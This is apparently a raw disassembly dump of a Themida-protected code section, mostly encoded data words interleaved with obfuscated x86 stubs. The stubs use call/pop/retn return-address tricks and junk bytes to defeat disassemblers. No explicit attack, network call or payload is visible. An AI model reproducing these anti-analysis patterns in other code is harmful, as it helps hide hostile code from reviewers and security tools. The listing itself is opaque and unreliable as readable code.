4244481h, 19h, 9DC35343h, 1314507Bh, 83FAB761h dd 28113DBDh, 850F0306h, 468h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 4CC35343h, 998C5703h, 1536DB1h dd 0A3FDBD83h, 0F00062Bh, 43784h, 6830F00h, 9000000h, 2817F99Dh dd 0FDB5FF06h, 0E9062BA3h, 0Eh, 0E0D2A969h, 383034CAh dd 0EB5B3A69h, 95FFE412h, 6280E95h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 8C35040h, 0E1534D85h, 11E8h dd 51341100h, 89F59B05h, 0D454BAE2h, 5C8A69A8h, 9D89B411h dd 6281A59h, 0F1B58B5Bh, 6A062BA3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 19CBC350h dd 363FCC04h, 6C7DF8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0F5C35545h, 56D71F07h, 0CBD97FE6h dd 0DABF0F7Fh, 0AE9h, 0B5FCF000h, 0D6E4F4DCh, 664A4914h dd 96AB91BFh, 0AE95250h, 0B8000000h, 142CB156h, 9025C0DFh dd 0E9310F66h, 12h, 85D5D31Ah, 17A2E588h, 5A4BF58Dh, 0CD2151D8h dd 585AB168h, 0F525050h, 287h, 0F5F5000h, 5AFD8A31h, 6A9658h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 5FB824C3h, 0CF8031B6h, 55BB661Ch, 0FDB5FF95h, 6A062BA3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 2A08C351h, 1D499D09h, 95FF0628h, 6282019h dd 0B58BDD8Ah, 62BA3F1h, 8BDAB70Fh, 280521BDh, 0D5858B06h dd 89062817h, 28168195h, 0C4868906h, 60000000h, 0B6B3EEB8h dd 0C7BF0F7Ch, 15958B61h, 6A062807h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 9940C356h dd 0BD8B9F4Dh, 6281D25h, 4C283FCh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0E4C35343h, 4292A877h, 9134D1B3h dd 2050892Eh, 8099D8Bh, 858D0628h, 62BB8D9h, 1393BB66h dd 0B88689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 3D2E8FC3h, 0A0A99707h, 0E8006A53h dd 0Dh, 0CCB0665Fh, 5DE26A0Bh, 6EB1C880h, 2DBD8927h, 5B062824h dd 0A3FDB5FFh, 8166062Bh, 0FF73C5EFh, 282CD195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0E065C12Bh, 0CDA93A67h, 9D8B3FE0h, 628050Dh, 12E9h dd 6AD7300h, 11FD0733h, 0A93F90Bh, 1191C19Fh, 96B00397h dd 8B665250h, 0E9310FDFh, 10h, 0B6E1EFB1h, 513E71D3h, 8ABD06Fh dd 0E4465F08h, 5250585Ah, 5850Fh, 89BF0000h, 5B666F7Dh dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 7B9DB7C7h, 61131450h, 81BD8B60h, 0FF062826h dd 2BA3FDB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 1DA3F827h, 95FFB4BEh, 62829B9h, 55BD83F8h dd 6280Ch, 14840Fh, 8B660000h, 0BF6696FEh, 6650FA0Ch, 964C62BFh dd 10219D33h, 0B5FF0628h, 62BA3FDh, 0FFEDC780h, 28228595h dd 0D9B70F06h, 0FDB5FFFCh, 6A062BA3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 1295C357h dd 7CF8BAFEh, 5E9F332h, 0BD000000h, 0C3F8C7ABh, 10C195FFh dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 16407CC3h, 352B51E2h, 2BA18589h, 83FC0628h dd 281861BDh, 840F0206h, 62h, 1D499D03h, 858B0628h, 6281259h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 76C35545h dd 4B715678h, 0D5A1E786h, 19D8B5Bh, 0C6062813h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F61C8C3h, 59915907h, 2C3D9D8Bh, 85C70628h, 6281305h dd 0 ; --------------------------------------------------------------------------- jmp loc_59A034 ; --------------------------------------------------------------------------- db 0AAh, 0B7h, 6 dd 0B1646F65h, 0FBF5BD72h ; --------------------------------------------------------------------------- loc_59A034: ; CODE XREF: Themida_:0059A024j jmp near ptr dword_5991F0+0AFh ; --------------------------------------------------------------------------- push 0 push ebp call sub_59A044 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A044 proc near ; CODE XREF: Themida_:0059A03Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_59A044 endp ; --------------------------------------------------------------------------- dd 46ABB689h, 5D582F38h, 0A6590DBBh, 6AC18B0Ch, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0E105C356h, 0E214BB66h, 858D5B57h, 6282C05h, 60525090h dd 8BCF8B66h, 310F61F1h, 61605250h, 6160310Fh, 585A585Ah dd 90F98B50h, 0C119D89h, 6A0628h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0C1C35141h, 0BBFC0EF1h, 66006A7Eh dd 669327BBh, 8E86C381h, 0F4D858Dh, 6A062Dh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0AA37B5C3h dd 0CD73ADCEh, 0F297592h, 0D381F8B7h, 2B532665h, 57522EBFh dd 5C0832Dh, 50DBB70Fh, 8B666060h, 61D08BF1h, 24048961h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0CC35040h dd 8925256Fh, 28338585h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A2B7C357h dd 3711681h, 2834EDBDh, 89006A06h, 28244D9Dh, 3195FF06h dd 89062824h, 281F0985h, 0F38D8D06h, 6A062B94h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 61CEC351h, 0FC997295h, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 38EC5BC3h, 0AA2E12E5h dd 8358D36Fh, 282415BDh, 850F0106h, 0AEh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0B8C35040h, 98D01D4h dd 6A062820h, 8E902h, 0D9EA0000h, 0DE43F608h, 0F50B68Dh dd 588h, 0D1C1BB00h, 48902B8h, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D3D5E9EBh dd 60D9901Eh, 68F0Fh, 8D890000h, 6281F79h, 6830Fh, 0B5890000h dd 62834A9h, 0F1BD2B61h, 0FF06282Ch, 282CD195h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0D5D921A5h, 0BB666E03h, 0B2E995B3h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62D0F57h push 0 push ebp call sub_59A2AE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A2AE proc near ; CODE XREF: Themida_:0059A2A6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_59A2AE endp ; --------------------------------------------------------------------------- dec ecx mov [ebp+6283271h], edi sub [ebp+62804BDh], esi mov [ebp+628265Dh], eax mov ebx, eax lea eax, [ebp+62B85B0h] push 0 push esi call sub_59A2E4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A2E4 proc near ; CODE XREF: Themida_:0059A2DCp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_59A2E4 endp ; --------------------------------------------------------------------------- dd 0AB7FE8B2h, 1F55BD89h, 10E80628h, 0B8000000h, 719A727Ch dd 6313EEC7h, 96D64631h, 8B63807Eh, 2816A59Dh, 0E8505F06h dd 9, 1BD26BBh, 0F54F974Dh, 10E915h, 0D0C20000h, 2B60A2E4h dd 81757AAAh, 0ABC372E7h, 895F6F5Dh, 0B5092404h, 62814D5h dd 35FF64h, 64000000h, 2589h, 85890000h, 6283321h, 165985FFh dd 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0F52872C3h, 945ACF78h, 0FF6A042Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B2C35040h, 13E01170h dd 39B5FF8Dh, 6A062804h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0FF74C356h, 0A314A014h dd 80F6EC19h, 95FF45F3h, 6282DC1h, 0FFE9h, 0FE8B6600h dd 19B1BD8Bh, 0B00628h, 0E6FBBF0Fh, 3D958970h, 0E4062810h dd 613CF871h, 0DE830Fh, 9D890000h, 6281449h, 8BC8B60Fh dd 2826399Dh, 6BA06h, 0CE90000h, 35000000h, 475AC8A3h dd 2026003h, 8B0FA95Ch, 0F9BD8BC1h, 0C1062816h, 0BD8904E8h dd 6281781h, 0FE2F766h, 684h, 0B5BD0B00h, 2B062811h, 65B589C8h dd 8B06281Eh, 0BEBF66D1h, 86E932h, 81660000h, 8B5D9AC3h dd 4E4985h, 835B5044h, 9E907C0h, 12000000h, 7D6B0A97h dd 0F18FE45Bh, 8900C083h, 281E8995h, 0FD03B06h, 1083h dd 0D47BF00h, 4DE96765h, 31000000h, 2826F58Dh, 0FF8D8B06h dd 0FFFFFFFh, 987h, 3880F00h, 0F000000h, 0E183D8B7h, 29840F01h dd 60000000h, 16CD9501h, 0BD890628h, 6281301h, 0FFA58361h dd 0FEFFFFFFh, 24DD9D8Bh, 95890628h, 44004E49h, 0E9DA8B66h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+62C8D05h] push 0 push edi call sub_59A4F1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A4F1 proc near ; CODE XREF: Themida_:0059A4E9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_59A4F1 endp ; --------------------------------------------------------------------------- retn 6Ah ; --------------------------------------------------------------------------- call dword ptr [ebp+6280465h] push 0 push edx call sub_59A515 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A515 proc near ; CODE XREF: Themida_:0059A50Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_59A515 endp ; --------------------------------------------------------------------------- mov [edx+4Eh], ebx db 2Eh push cs and esp, [ebp+33C3EF83h] popf add ds:5B90628h, eax adc [eax], al add [edx+0], ch push edi call sub_59A545 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A545 proc near ; CODE XREF: Themida_:0059A53Dp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_59A545 endp ; --------------------------------------------------------------------------- db 0F4h, 0E6h, 3Dh dd 688D308Fh, 5E82571h, 85000000h, 96682C65h, 5359D8Bh dd 835B0628h, 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 7FD4B9C3h, 0B393D0E7h, 50C8A130h dd 0A65EEB81h, 0FC5B1E64h, 6850Fh, 8D290000h, 6282D8Dh dd 3860Fh, 8B660000h, 0FC02BDAh, 68Dh, 0F19D3300h, 0BA06282Ah dd 0 dd 13E8h, 0EFD13C00h, 0FFF5D981h, 57D6B92Fh, 3B1CFC89h dd 475D5329h, 1A319D8Bh, 0AD5B0628h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 6E1AC351h, 9DA7717Ah, 6A8CE7ABh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 3D24C352h, 93487BF5h, 880Dh, 0D8BF6600h dd 15958B1Ah, 6A062807h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0A9E9C357h, 263D8D31h dd 8D8B0628h, 62821BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 4AC35747h, 870F03D2h, 13h, 0EE9h, 0AC3F8200h dd 3A1FF4F5h, 5E511F31h, 0E93A89BDh, 5, 0A2D97430h, 0C28B5043h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 117AC355h, 9580BCAh, 29DF817Dh, 6A29BA29h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0C82DC353h, 8166BE34h, 83107CC3h, 2825A1BDh, 840F0006h dd 7Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h dd 78C35545h, 9E919h, 33610000h, 0F4C4B6E8h, 0B8EEE48Ch dd 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_59A757 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A757 proc near ; CODE XREF: Themida_:0059A74Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_59A757 endp ; --------------------------------------------------------------------------- db 39h ; --------------------------------------------------------------------------- xchg eax, ebx dec edx aaa lea ecx, [ebp+6284F6Eh] push 0 push ecx call sub_59A77C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59A77C proc near ; CODE XREF: Themida_:0059A774p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_59A77C endp ; --------------------------------------------------------------------------- dd 2F8D01FDh, 0E1FF1367h, 4BD8D89h, 0BD830628h, 628113Dh dd 4840F00h, 66000004h, 834F41BBh, 28113DBDh, 840F0106h dd 40Eh, 4E5EBF66h, 8B3FBF66h, 113DBD83h, 0F030628h, 3C386h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 5CD5F819h, 89605CEAh, 280D798Dh, 0D98C6606h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h dd 0BD298239h, 62807ADh, 0A04E180h, 33840FC9h, 81000001h dd 494A90EFh, 0C9858B3Ch, 1062824h, 281865B5h, 5853306h dd 6A06282Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 7516C351h, 0CCD7D5h, 85895E5Eh dd 6283419h, 50525090h, 0F56B752h, 5AD88B31h, 0E8310F58h dd 0Bh, 17AC41D3h, 6F08B8E7h, 66A70F01h, 5A5FDA8Bh, 0B9605058h dd 41918283h, 61F38B66h, 0E5858990h, 6A062801h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 88D7710Ah, 9ED84147h, 36F337BFh, 6868F90Eh, 0E8EA7BACh dd 13h, 0C307A9A4h, 0FB9D37EEh, 8B2FE106h, 18DEB9Ch, 0F4B82BDh dd 0E84h, 9E900h, 0FC820000h, 0A8316DAFh, 5B4D569Ch, 97240481h dd 6A15A357h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0E222C352h, 176D95FFh, 0C3810628h dd 0BCBF3CEh, 0A3FD8589h, 8166062Bh, 0E9CE9CDBh, 203h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5C35646h dd 858B27CAh, 62BA3F5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5C35141h, 0EC4E88E8h, 71B31FBDh, 2C09BD33h dd 0C70628h, 18h, 5E9h, 0D50C4500h, 0B58B8818h, 62BA3F9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A8C35141h dd 91FB8687h, 2EE9BD8Bh, 858B0628h, 6282B65h, 5826BB66h dd 840F0689h, 6, 0DF4BF381h, 858B6E8Ah, 62824C9h, 0FE9h dd 0BBA8300h, 93365EE8h, 0B63307D9h, 54412BADh, 8B044689h dd 280EB99Dh, 8B665006h, 243489FEh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 69C35343h, 9FCEEC31h, 0FF2BFE65h dd 2BA3F5B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F01BC035h, 61D3E672h, 4E8A0h, 3FF0000h dd 5250001Fh, 0ECBF310Fh, 5A0521CCh, 60605058h, 10E972B5h dd 0AB000000h, 99D95D05h, 0EF5FE744h, 77AFA6AFh, 61CE558Dh dd 5B585353h, 24448B61h, 0E8605104h, 7, 1C5848DAh, 5BC4D8B7h dd 0F6DCEFBEh, 8B5F6174h, 0AE800h, 11C50000h, 0D8A8DDE3h dd 0DCE8A9AFh, 3870Fh, 8B660000h, 44895FFAh, 11E80424h dd 2D000000h, 8E4A1827h, 69995435h, 91572E89h, 0DA40906Fh dd 5FDE8B66h, 0DB816658h, 858DD552h, 62BA3FDh, 1FB59D2Bh dd 53500628h, 13E8h, 62F33600h, 0C526D33Dh, 2A2CBF24h dd 1AF6086h, 9B533F4Fh, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 8ADFFEB1h dd 858D8972h, 0FF06280Eh, 28176D95h, 0D858906h, 61062813h dd 14EB8166h, 3D85C71Fh, 3062811h, 29000000h, 280379BDh dd 0FDBD8306h, 62BA3h, 2E840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E980C8C3h dd 27h, 666CF81h, 9D290F36h, 6280619h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 2814519Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 66DCDC9Dh, 895535BBh, 2826A985h, 3DBD8306h dd 3062811h, 3E6850Fh, 0BD230000h, 62821C5h, 1301BD8Bh dd 0BD830628h, 62BA3FDh, 0CD840F00h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9E2DC350h, 41BCD5D8h, 9D8B3EC7h, 62826C1h, 0A3FDB5FFh dd 0DE9062Bh, 0C4000000h, 0EB7C1F66h, 0BDAECEADh, 0C7874F59h dd 0E9595FFh, 89600628h, 2834C195h, 8B61F906h, 2BA3F1B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 106C721h, 6A000100h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 66E8C353h dd 8589F88Bh, 628185Dh, 0E8536096h, 0Dh, 0DAE0C22Bh, 0DE476F9Eh dd 9A925069h, 665E5911h, 5061C18Bh, 5E8h, 4754CB00h, 0DE8B002Dh dd 830F965Bh, 0Dh, 8E9h, 0D9F8DD00h, 0BD9F56AEh, 0FDB5FF00h dd 6A062BA3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0C6DEC353h, 0B5B248E4h, 1DB589B2h dd 0FF062808h, 28201995h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0AD1C0E51h dd 4FA22D29h, 0F1B58BFCh, 89062BA3h, 280661B5h, 0FEBF0F06h dd 17D5858Bh, 8E80628h, 0B7000000h, 0FC8F39E9h, 50C7362Ah dd 10E8h, 0F23BEF00h, 8AB59AFEh, 0AF95FCD0h, 8356FA2Ch dd 5F5F5BD6h, 0C48689h, 0BD290000h, 6281171h, 715958Bh dd 0BD8B0628h, 62819A9h, 6A04C283h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 79F9C355h dd 0CE22BB10h, 0AD5CE6B5h, 2B559D8Bh, 50890628h, 14E820h dd 49FD0000h, 12E17381h, 946A4D52h, 204E74FFh, 0F8DB9A7Ch dd 0BD8BF737h, 6281FB5h, 6820F5Fh, 8B000000h, 2812CDBDh dd 0D9858D06h, 6A062BB8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 43BCC350h, 1F18ADCh dd 0B88689h, 8ABB0000h, 0BB292518h, 316A2232h, 0BD8B006Ah dd 6280745h, 0A3FDB5FFh, 12E9062Bh, 86000000h, 0ED4646A1h dd 0AFC76813h, 3BE0694Eh, 22589EADh, 0D195FFBDh, 8B06282Ch dd 280F899Dh, 0BF665006h, 3489EE7Ch, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7FFDDF8h, 0DE8B24C9h dd 0A3FDB5FFh, 0D98A062Bh, 29B995FFh, 6A0628h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 345F86C3h, 53F96077h, 17ED8D89h, 615B0628h, 0C55BD83h dd 0F000628h, 5484h, 459D2B00h, 96062807h, 0C4C383BFh dd 5250500Ah, 0F8D0Fh, 9E80000h, 9B000000h, 6621085Ah dd 943B7952h, 8B310F5Fh, 96585ADEh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 8BC35545h, 56CF8172h, 291EEF97h dd 28033195h, 0FDB5FF06h, 0F5062BA3h, 95FFD98Ah, 6282285h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F3C35545h dd 0BE9F5h, 1AC10000h, 0CCFBAFFh, 1DF14EA7h, 0FDB5FFB4h dd 0FF062BA3h, 2810C195h dd 8BA9B706h, 281951BDh, 61BD8306h, 2062818h, 2D840Fh dd 8BF80000h, 28125985h, 0DEE38006h, 6A0000C6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 5036C351h, 0C7D88B66h, 28130585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 6DECDE80h, 781477A0h, 0BD036CD4h, 6282151h, 0FFF37DE9h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 59D781A7h, 0F1B738Fh, 1089h, 8E800h, 0D8370000h dd 0DA0CF444h, 0FA8B3722h, 8BC18B5Fh, 28021DBDh, 5858D06h dd 6A06282Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 81EDC352h, 1C8264C3h, 52505044h dd 0FE9310Fh, 47000000h, 8EB0D893h, 79A4CE83h, 0A7ED9255h dd 585A5209h, 6A240489h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 2EECC351h, 0F781D55Ch dd 79C540BBh, 0FD8A006Ah, 0FA9B589h, 6A0628h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 79C35646h, 869D78C3h dd 0D98A71D1h, 17D9D8Bh, 858D0628h, 62D1F47h, 6860F51h dd 29000000h, 280DF185h, 0C0835F06h, 15BD8905h, 8B062817h dd 8B6690FBh, 8B6050D9h, 0DDFFBFF9h, 90616689h, 16CD9D8Bh dd 6A0628h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0B0C35747h, 2BB60933h, 6A006AB0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 304FC351h dd 3BFD01CDh, 8B986EE8h, 2822AD9Dh, 3195FF06h, 6A062824h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0F57BC351h, 0A99D8B69h, 8B062816h, 459D8BDAh dd 8D062804h, 2B94F38Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 70BB665Ah, 0D1FFF9DEh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 80C35747h dd 2415BD83h, 0F010628h, 9B85h, 39BD0300h, 6A06280Eh, 57006A02h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 97EA394Ah, 0CCBBC052h, 9017F696h, 5569BF66h, 12E950h dd 19B10000h, 0F385CE32h, 98FD8CFBh, 0BB918B52h, 4E9E6B7Dh dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 519D2B02h, 0FF062800h, 282CD195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 539A84C5h, 0BBD98B84h, 7601E94Bh, 0CEFE9h, 0E800h, 815D0000h dd 2D1F51EDh, 0A9BD8906h, 8D062800h, 2B85B085h, 7E806h dd 180C0000h, 0AA698839h, 66905F00h, 9050DF8Bh, 23BD8589h dd 0FF640628h, 35h, 0EE900h, 0F71A0000h, 3CF1BF5Fh, 0D162FF12h dd 0B1CBCBD5h, 258964h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89C7C355h dd 2818E58Dh, 5985FF06h, 6A062816h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 54DCC353h dd 0FF6ADF8Bh, 60FFB70Fh, 18A0Fh, 9F90000h, 28026985h dd 0B5FF6106h, 62822A9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 5DC35141h, 211A2B30h, 2758540h, 86B3E381h dd 0BB667333h, 95FFB7A7h, 6282DC1h, 107E9h, 3D8D8900h dd 0B0062807h, 499D8900h, 0E606281Dh, 2D8D8970h, 81062810h dd 67C521F3h, 0BF71E418h, 5ABE7FC5h, 830F613Ch, 0DCh, 0DE8h dd 0B2BE7300h, 0C8209A1Bh, 9A55B151h, 0F960715Ah, 14F5958Bh dd 5B610628h, 0BAC8B60Fh, 6, 27219D01h, 0C18B0628h, 6604E8C1h dd 2BF9E2F7h, 719D8BC8h, 8B062817h, 0EE9D1h, 0B4A80000h dd 261BDE69h, 414F431Dh, 6CBD1310h, 87E9h, 8830F00h, 57000000h dd 800Fh, 8B5F0000h, 5F4C4C85h, 2D9D8B50h, 83062833h, 0C08307C0h dd 0FD03B00h, 1F83h, 9E900h, 0A5650000h, 65983655h, 0E93F7781h dd 4Ch, 292DBD8Bh, 0B5890628h, 6282949h, 0FFFF8D8Bh, 820FFFFFh dd 0Dh, 8E9h, 91AC300h, 636BD0AFh, 1E18349h, 1E840Fh, 0DB810000h dd 140F992h, 0FFFFA583h, 89FEFFFFh, 5F4C4C95h, 71958950h dd 0E9062803h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+62C9D0Ah] push 0 push edx call sub_59B495 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B495 proc near ; CODE XREF: Themida_:0059B48Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_59B495 endp ; --------------------------------------------------------------------------- or al, bl push 0 push 0 push esi call sub_59B4B4 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B4B4 proc near ; CODE XREF: Themida_:0059B4ACp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_59B4B4 endp ; --------------------------------------------------------------------------- dd 0E0FA2E22h, 338984A2h, 0EB814870h, 5E2B4711h, 95FFDF8Bh dd 6280465h, 419B509h, 9EB90628h, 6A00000Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F888C353h, 1FCE183h, 28344D8Dh, 6AFC06h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 837EEBC3h dd 6077EB7Eh, 2CDDBD89h, 95890628h, 6282A95h, 6AC02B61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 893FC353h, 2D6B5A14h, 3FF77A1Ch, 0D859589h dd 0D22B0628h, 29699509h, 33AD0628h, 3E8D1C2h, 4E983D0h dd 0FC8AF475h, 5A88BB66h, 880Dh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0DC6A45CEh dd 0A9C0B323h, 499D8BCBh, 8B062800h, 28071595h, 0BD8D8B06h dd 6A062821h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FCEC351h, 482h, 19BB6600h, 0C28B502Fh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 9690C357h, 57573800h, 2F8D8D31h, 5B5B0628h, 25A1BD83h dd 0F000628h, 7C84h, 5987BB00h, 0B81B4Fh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0A107C352h, 0FE8A0675h, 13E9h, 